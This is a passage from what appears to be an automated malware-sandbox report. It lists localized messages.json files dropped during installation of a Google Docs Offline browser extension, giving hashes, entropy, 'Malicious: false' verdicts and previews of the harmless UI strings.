MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
